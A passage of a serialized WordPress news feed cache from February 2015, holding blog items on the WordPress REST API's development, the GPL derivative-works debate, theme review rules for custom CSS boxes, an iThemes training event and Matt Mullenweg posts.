in core?</h3>\n<p>The REST API is under heavy development, and is also between major versions that will sever backward compatibility. That has made the state of the API confusing.</p>\n<p>The REST API hasn&#8217;t been slated for a particular release, though it is officially active <a href=\"https://make.wordpress.org/core/features-as-plugins/\">for the &#8220;feature as plugin&#8221;</a> model. The goal is for it to hit core some time in 2015, so probably between WordPress 4.3 and 4.5. I&#8217;d guess closer to 4.5, as there will need to be a lot of testing once the new stable version comes out.</p>\n<h3>Keeping up with development</h3>\n<p>If you want to keep track of the WordPress REST API development, there are a variety of ways to do so, though finding the proper channels can be a challenge at the moment.</p>\n<p>First off, know that a major new version is being finalized as we speak, so there is disparity between 1.1.x and the upcoming version for information, code, and documentation. The version under development &#8212; and is a significant restructuring &#8212; has been under development for nearly seven months.</p>\n<p>The <a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org official plugin page</a> is somewhat closely synchronized with the latest 1.x release, though it is a few commits behind. The plugin is authored by Ryan McCue, who is the project lead and the initial author of the plugin, as it was his Google Summer of Code project for the first iteration. The WordPress.org page could also use some updating to make it more obvious that it&#8217;s the official REST API plugin for the WordPress project.</p>\n<p>The <a href=\"https://github.com/WP-API/WP-API\">WP API Github</a> is where active issue tracking, version management, and releases are being handled. The API has its own account on Github, rather than being a part of the WordPress account, as there are adjacent repos to the actual API and it wasn&#8217;t originally guaranteed to be in core.</p>\n<p>The key to understanding the various states of the WP REST API is to think in terms of <strong>Develop</strong>, <strong>Master</strong>, and <strong>Stable</strong> versions.</p>\n<ul>\n<li><a href=\"https://wordpress.org/plugins/json-rest-api/\">WordPress.org plugin repository</a> is the Stable version of the WP API.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/master\">Github Master branch</a> is where a Beta version of the next release is managed.</li>\n<li><a href=\"https://github.com/WP-API/WP-API/tree/develop\">Github Develop branch</a> is where the active development occurs.</li>\n</ul>\n<p><strong>If you&#8217;re using the WordPress REST API in production, you should use the WordPress.org version only</strong>. The Github Master and Development versions should be used for development and testing only.</p>\n<h3>Improvements coming in the rewrite</h3>\n<p>The long development cycle for the new version of the REST API is because it&#8217;s a signifcant rewrite for the project.</p>\n<p>Based on feedback and real-world use cases, the team was able to identify necessary improvements that needed to happen.</p>\n<p>There have been many, many changes in this version, but a couple of big ones are as follows:</p>\n<ul>\n<li>New functions have been added to allow for registration of custom endpoints with namespaces and versions. Rachel Baker <a href=\"https://gist.github.com/krogsgard/c3975a2ff449f20e56f3\">shared this gist with me</a> that showcases that. This means themes and plugins will be able to add to and extend the API, offering significantly more power to it.</li>\n<li>Comment creation and edit handling have been added in the rewrite.</li>\n<li>The team has also started work on support for options endpoints to be able to view, edit, and create general site options, which would make complete site management possible with the API, in addition to content management.</li>\n</ul>\n<p>The changes in the current development cycle have taken a long time, and have required some significant architectural changes, but are very much worth the long term benefits.</p>\n<h3>Contributors to the WordPress REST API</h3>\n<p>There have been <a href=\"https://github.com/WP-API/WP-API/graphs/contributors\">49 code contributors</a> to the REST API project on Github. It&#8217;s already a huge community effort. However, there are some folks that are really driving the project forward.</p>\n<p><img class=\"aligncenter size-large wp-image-8684\" src=\"https://poststatus.com/wp-content/uploads/2015/02/wp-api-contributors-752x484.png\" alt=\"wp-api-contributors\" width=\"752\" height=\"484\" /></p>\n<ul>\n<li><a href=\"https://twitter.com/rmccue\">Ryan McCue</a>: Ryan is the overall project lead, and is generally steering the ship. This all started as his GSoC (Google Summer of Code) project and he is still the lead. He works for <a href=\"http://hmn.md/\">Human Made</a>, primarily on Happy Tables.</li>\n<li><a href=\"https://twitter.com/rachelbaker\">Rachel Baker</a>: Rachel is a project lead, and is doing a great deal of development, as well as education and evangelism. She works for <a href=\"http://10up.com\">10up</a> as a Senior Web Engineer.</li>\n<li><a href=\"https://twitter.com/danielbachhuber\">Daniel Bachhuber</a>: Daniel is in day to day conversations and also commits a lot of code to the project. He works for himself and is the interim engineering director at <a href=\"http://fusion.net/\">Fusion</a>.</li>\n<li><a href=\"https://twitter.com/joe_hoyle\">Joe Hoyle</a>: Joe is in day to day conversations and also commits a lot of code to the project. He is a co-founder of <a href=\"http://hmn.md/\">Human Made</a>.</li>\n</ul>\n<p>Though I highlight these four contributors, but there are a whopping 400 people watching the #core-restapi channel in Slack, and there are 49 code contributors on Github. Everyone deserves a huge round of applause that&#8217;s taken part in the strategic, code, education aspects of this project.</p>\n<p>And this is all before it goes into the core development cycle. Once this gets slated for a specific release, it&#8217;s going to get an insane amount of attention to make sure it&#8217;s ready for prime time and the millions of WordPress installs out there.</p>\n<h3>Meetings and blogs for the REST API</h3>\n<p>The REST API has a standing channel and weekly meeting in WordPress Slack, as well as two blogs you can keep track of:</p>\n<ul>\n<li>#core-restapi on WordPress Slack is where day to day communication occurs, and a feed of commit activity also goes into that channel. The weekly meeting is also here &#8212; and is actually held twice per week &#8212; at 23:00 UTC on Mondays and Wednesdays.</li>\n<li>The <a href=\"https://make.wordpress.org/core/tag/json-api/\">json-api tag on Make WordPress Core</a> is where blog posts about the API go. However, this has been rarely used, and is primarily just for release information.</li>\n<li>Frequent meeting notes and other discussions are posted on <a href=\"http://make.wp-api.org/\">make.wp-api.org</a>, which is an 02 blog (P2&#8217;s mysterious successor).</li>\n<li>Documentation can be viewed on <a href=\"http://wp-api.org\">wp-api.org</a>. It&#8217;s important to keep in mind that <strong>the docs on the main website are for the stable WordPress plugin</strong>, not the Develop branch.</li>\n</ul>\n<h3>Basics for using the WordPress REST API</h3>\n<p>The new API will make sense to people familiar with other REST APIs. However, if you are new to such things, even with the documentation you can easily get lost. I know I did.</p>\n<p>I will have a lot more resources for members soon, but I&#8217;ll try and give a quick intro to reading data now.</p>\n<p>The first thing to remember is that it&#8217;s very important to know if you will be reading data only or reading and changing data. If you are reading data from your own website, and using it on the same website, you don&#8217;t need to worry about authentication. If you are changing, adding, or deleting data, then you need to authenticate with the website you are making changes to.</p>\n<p>Let&#8217;s show a few simple examples of reading data with <code>GET</code>.</p>\n<p>A URL to pull content from Post Status would look like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content with <code>WP_Query</code> parameters you&#8217;re used to, you could do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>To pull content of a custom post type, you can do it like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>And to pull content of a custom post type with those same <code>WP_Query</code> parameters, it looks like this:</p>\n<a href=\"https://gist.github.com/c983960972582c6ec2c0\" target=\"_blank\"><em>View this code snippet on GitHub.</em></a>\n<p>What you see returned in those URLs is the JSON data we&#8217;re going after. Go ahead and put one of those URLs in a browser tab to see the return data.</p>\n<p>You can see how the method for grabbing that data feels familiar to using <code>WP_Query</code> for a standard WordPress loop. If you don&#8217;t specify a parameter, the defaults to <code>WP_Query</code> will be used.</p>\n<p>These URLs return that data, but obviously you&#8217;ll want to get that data programatically. You can do this within a WordPress install (or outside) with two common methods: PHP or AJAX.</p>\n<p>Handling the data will be similar to handling any other JSON data. I&#8217;ll have more on doing this with WordPress at a later date, but in the meantime you may enjoy <a href=\"http://torquemag.io/introduction-wordpress-new-universal-connector-json-rest-api/\">Josh Pollock&#8217;s introduction</a> to using the REST API.</p>\n<p>Now, of course, you can query far more than posts, as the <a href=\"http://wp-api.org\">WP API website</a> notes, but I just wanted to introduce the concepts.</p>\n<p>The API allows you to manage pretty much anything: posts, pages, custom post types, users, media, taxonomies, or even overall site data.</p>\n<h3>This is just the beginning</h3>\n<p>Unfortunately, I&#8217;ve hardly given a proper introduction to actually using the new WordPress REST API. That will have to wait until another time. That said, you should know have a pretty good understanding of what this project is, what it means for WordPress, and where to go to get started with the new API.</p>\n<p>I highly encourage you to educate yourself on this API, as well as experiment with it. You can use the Stable branch in production projects (like I do here on Post Status), but it would be really great to get more people testing and using the API in general so that when it ships with WordPress it will be as good as it can be.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 22:31:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:19;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:19:\"Matt: Amazing Dance\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44669\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"http://ma.tt/2015/02/amazing-dance/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:183:\"<p></p>\n<p>Incredible music (&#8220;Take Me To Church&#8221; by Hozier), incredible artist (the dancer, Sergei Polunin), and incredible photographer / director (David LaChapelle).</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 19:08:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:20;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"WPTavern: Tackling the Issue of WordPress Derivative Works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38822\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/tackling-the-issue-of-wordpress-derivative-works\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6882:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png\" rel=\"prettyphoto[38822]\"><img class=\"size-full wp-image-24825\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/06/GPLFeaturedImage.png?resize=639%2C200\" alt=\"GPL License Plate Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/benfrantzdale/170212544/\">BenFrantzDale</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-nc-sa/2.0/\">cc</a>\n<p>In 2009-10, there <a title=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\" href=\"http://wordpress.tv/2010/07/15/mixergy-interview-pearson-mullenweg/\">was an intense debate</a> between the co-creator of WordPress, Matt Mullenweg, and the founder of DIY Themes, Chris Pearson. The debate centered on whether or not Thesis needed to be 100% GPL licensed. Thesis lifted lines of code from the core of WordPress, which <a title=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\" href=\"https://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/\">some people claimed</a> made Thesis a derivative of WordPress. Pearson disagreed with the assessment which lead Mullenweg to insinuate <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/\">he would take the matter to court</a>.</p>\n<p>Five years after that memorable debate, Richard Best of WP and Legal Stuff, <a title=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\" href=\"http://wpandlegalstuff.com/wordpress-themes-gpl-conundrum-derivative-works/\">has published a thorough analysis</a> of WordPress themes, the GPL license, and what is a derivative work. His post is a breath of fresh air and the best I&#8217;ve read so far on the subject. Best doesn&#8217;t sell themes or plugins in the WordPress ecosystem giving him a neutral position to discuss the matter. He also has a legal background, but does not offer legal advice through his site.</p>\n<p>Determining what defines a derivative work is complex, but according to Best, no one truly knows the answer to the question:</p>\n<blockquote><p>The reason we don’t truly know the answer is that the courts haven’t decided a case that is squarely on point (there are potentially analogous cases, of course, but – as far as I’m aware – no GPL or similar case directly on point).  It is only the courts (in the absence of legislative intervention) that can finally determine the matter.</p>\n<p>Courts might apply what some might say are orthodox notions of what it means for something to be a derivative work or they might incrementally (some might say dangerously) develop the law on this point but we just don’t know. And even if the courts of one country made a definitive ruling on the point, courts in other countries – where other lawsuits might be commenced – could decide differently. As a result, uncertainty remains.</p></blockquote>\n<p>The debate against Thesis never went to court, but it spawned several conversations throughout the WordPress community, <a title=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\" href=\"http://www.chipbennett.net/2010/07/20/wordpress-themes-gpl-and-copyright-case-law/\"> like this one from Chip Bennett</a>. This is why <a title=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\" href=\"http://thenextweb.com/socialmedia/2010/07/14/wordpress-and-thesis-go-to-battle-mullenweg-may-sue/#comment-1584821297\">some people</a> rallied for a court case to settle the matter once and for all. As far as WordPress is concerned, I think it&#8217;s unlikely a court case will ever take place.</p>\n<h2>Influence Instead of Lawyers</h2>\n<p>Mullenweg has other ways of influencing people to license their WordPress products 100% GPL which doesn&#8217;t require a lawyer. A good example is <a title=\"http://designcrumbs.com/automatically-blackballed\" href=\"http://designcrumbs.com/automatically-blackballed\">when Jake Caputo was banned</a> from speaking or participating at WordCamps because he didn&#8217;t license his themes 100% GPL on ThemeForest.</p>\n<p>After going back and forth in <a title=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\" href=\"http://marketblog.envato.com/news/survey-results-about-gpl-opt-in-choice/\">public debates</a>, ThemeForest <a title=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\" href=\"http://marketblog.envato.com/general/100-gpl-option-now-available-plus-woothemes-arrives/\">eventually added the ability</a> for authors to choose between split-license and 100% GPL. After changing the license on all of his products to 100% GPL, Caputo was allowed to speak at WordCamps again. It&#8217;s this type of influence that prevents arguments from reaching the court system.</p>\n<h2>Only a Court Can Decide</h2>\n<p>There aren&#8217;t many posts these days debating the merits of GPL and WordPress. Best does a great job explaining why (emphasis mine):</p>\n<blockquote><p>I think the GPL/theme debate has reached the stage where it’s fair to say that a significant proportion of the WordPress community now frowns upon premium theme providers who either don’t GPL-license at all or (probably to a lesser extent) split-license their themes. That might not be good for business and that, for some, may be the bottom line.</p>\n<p>For some people, this frowning may be caused by a particular view of what the GPL requires <em>but</em> for others – and I think this is a particularly important point – it may be caused by a recognition of the enormous opportunities that WordPress makes possible and the open source spirit and generosity that pervades much of the WordPress community. <strong>I think we’ve reached the stage where, for some people, this is more about a community norm than it is about a strict reading of the GPL </strong>(not to mention the tedium of listening to more and more competing GPL arguments when, ultimately, only a court can decide).</p></blockquote>\n<p>If a debate like the one in 2010 were to happen again, I think we&#8217;d see a huge outcry from every corner of the community for a court case to settle the matter. After all, without that, everything else is a moot point, right? If you sell commercial WordPress themes and plugins, I highly encourage you to read his post. Also read his thoughts on a somewhat related topic, the <a title=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\" href=\"http://wpandlegalstuff.com/gpl-assumptions-automatic-inheritance/\">assumptions of GPL and automatic inheritance</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 11 Feb 2015 00:37:31 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:21;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WordPress Theme Review Team Sets New Guidelines for Custom CSS Boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38826\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"http://wptavern.com/wordpress-theme-review-team-sets-new-guidelines-for-custom-css-boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2252:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg\" rel=\"prettyphoto[38826]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg?resize=1024%2C491\" alt=\"css\" class=\"aligncenter size-full wp-image-38846\" /></a></p>\n<p>Custom CSS boxes in themes are a common feature that allow users to easily add their own styles without having to edit any theme files. The inclusion of this feature in themes, as opposed to plugins, has long been a hotly contested issue among theme developers.</p>\n<p>WordPress.org Theme Review team admin Justin Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">announced</a> today that the team has agreed upon new guidelines for the inclusion of CSS boxes. He summarized the conclusions following the debate:</p>\n<ul>\n<li>It’s preferred that theme authors leave this feature to plugins.</li>\n<li>However, it is allowed if handled safely.</li>\n<li>The edit_theme_options capability is required (like all theme options).</li>\n<li>The wp_filter_nohtml_kses(), wp_strip_all_tags(), or equivalent function must be used to sanitize the data before it’s saved into the database.</li>\n</ul>\n<p>The main issue here is sanitizing the CSS to make sure it&#8217;s safe to store in the database. The guidelines do not cover validating the CSS, as that is less of a safety concern.</p>\n<p>While adding custom CSS boxes still falls within theme territory, it is best to consider relegating this feature to a plugin in order to keep your theme safe and lean. If you still wish to offer this feature in your theme, Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">posted sample code</a> that will provide a good starting place for adding a custom CSS box to WordPress&#8217; native customizer.</p>\n<p>Commercial theme authors who want to keep pace with WordPress.org theme review requirements will want to review the updated guidelines. The theme review team recommends using a plugin, such as <a href=\"http://jetpack.me/support/custom-css/\" target=\"_blank\">Jetpack&#8217;s custom CSS module</a>, as a safe alternative to allowing the theme to save custom CSS to the database.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 23:53:17 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:22;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: iThemes to Host Free Online Training Event: Intro to WordPress Web Design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38746\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"http://wptavern.com/ithemes-to-host-free-online-training-event-intro-to-wordpress-web-design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2962:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg\" rel=\"prettyphoto[38746]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg?resize=932%2C445\" alt=\"ithemes-training\" class=\"aligncenter size-full wp-image-38816\" /></a></p>\n<p>iThemes will be conducting a free online training event next week for those who are interested in getting started with WordPress. The <a href=\"https://ithemes.com/2015/02/05/free-intro-wordpress-web-design-workshop-february-18-20-2015/\" target=\"_blank\">Intro to WordPress Web Design</a> course will run from February 18 &#8211; 20 and will cover everything from learning how to set up a site to working with plugins and management tools:</p>\n<ul>\n<li>Understand what WordPress is, where it came from, why everything is a &#8220;post&#8221;—and who is Dolly?</li>\n<li>Unlock your WordPress site &#8211; learn how to set up your site the right way</li>\n<li>Unmask WordPress &#8211; learn the basics of how WordPress displays content for your site</li>\n<li>Supercharge your WordPress site with plugins</li>\n<li>Simplify your life with WordPress management tools and tips</li>\n<li>What to do to take your knowledge of WordPress to the next level</li>\n</ul>\n<p>The workshop is open to the first 1,000 registrants and will be taught by Benjamin Bradley, iThemes&#8217; Training full-time instructor. Bradley has been working with the company for the past five years to build out a library of 600+ instructional videos for the community surrounding iThemes&#8217; products. A chat room will be available for discussion and Q&amp;A during the the online event.</p>\n<p>iThemes CEO Cory Miller began investing in the creation of training resources years ago after noticing that a lack of quality WordPress education material was putting an extra burden on his support staff. &#8220;We started this free online workshop several years ago in response to seeing many of the same questions being asked in our support area year after year,&#8221; Miller said.</p>\n<p>&#8220;We felt our customers weren&#8217;t able to make meaningful progress in learning the basics of WordPress web design because there weren&#8217;t good resources to do so. The need is there and it is great, in particular for online learning like this. It&#8217;s part of our contribution to building up our customers, but also the greater WordPress community,&#8221; he said.</p>\n<p>The event is not just for iThemes customers but is open to anyone. If you can&#8217;t attend the training sessions live, iThemes plans to make the recordings available on its blog after the event. If you or a family member, friend, or client want an approachable introduction to WordPress, <a href=\"https://attendee.gotowebinar.com/register/5530303058928143361\" target=\"_blank\">register for the course</a> at iThemes. Each session is only one hour and will put you on track to managing your own WordPress website.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:33:52 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:23;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"Matt: On the Tim Ferriss Podcast\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44665\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:48:\"http://ma.tt/2015/02/on-the-tim-ferriss-podcast/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:581:\"<p>I had the great fun the other week of hanging with Tim Ferriss on his podcast, an episode he titled <a href=\"http://fourhourworkweek.com/2015/02/09/matt-mullenweg/\">Matt Mullenweg on Polyphasic Sleep, Tequila, and Building Billion-Dollar Companies</a>. His previous guest <a href=\"http://fourhourworkweek.com/2015/02/02/arnold-schwarzenegger/\">was Arnold Schwarzenegger</a> (!) and if you <a href=\"http://fourhourworkweek.com/category/the-tim-ferriss-show/\">dig into the podcast archives there are some really amazing episodes</a>, I&#8217;m working my way through them now.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:30:46 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:24;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"WPTavern: GitHub Updater 4.1 to Add Remote Installation for WordPress Plugins and 